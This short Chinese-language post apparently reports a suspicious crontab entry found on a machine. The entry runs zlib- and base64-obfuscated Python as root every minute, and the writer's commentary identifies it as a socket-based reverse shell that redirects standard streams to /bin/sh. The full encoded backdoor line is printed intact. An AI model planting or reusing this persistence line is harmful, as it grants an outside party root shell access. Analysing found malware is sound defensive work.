* * * * * * root python -c "exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNqVkN8LgjAQx/8V8WmCrNRJRexBwiCigvRdci2UbDe8+f+HaCzYk/dyvz533+Paj4beeAjiLY33sxCHWvcgJKKtgY33s28ADfejlNFkR2O2penGd6BRgDOWOA3kkyydHJmz7Fidrnn5d8xUL26Hc1WU9zy7BO4uKkApKQwh41F2eFQPXB6QPgcdE6SvtpMKiEXC9TI8WobHLq65/TcVj64j/qpu1QobP/gCW1di3Q==')[0])))" #pbWyavFnMg
解码后的内容,看起来确实比较可疑,打开了一个 socket,其他的不太清楚,不是很熟悉 py 的内容。
简单查了一下,结合经验,就是用 dup2 把 socket fd 的重定向到了 标准输出、标准输入、错误输出,然后调用了
/bin/sh
,看起来这里的作用应该可能是/bin/sh
会执行上面的代码?简单的说,可能就是会执行任意 shell 代码了。不过这个地址目前是连接不上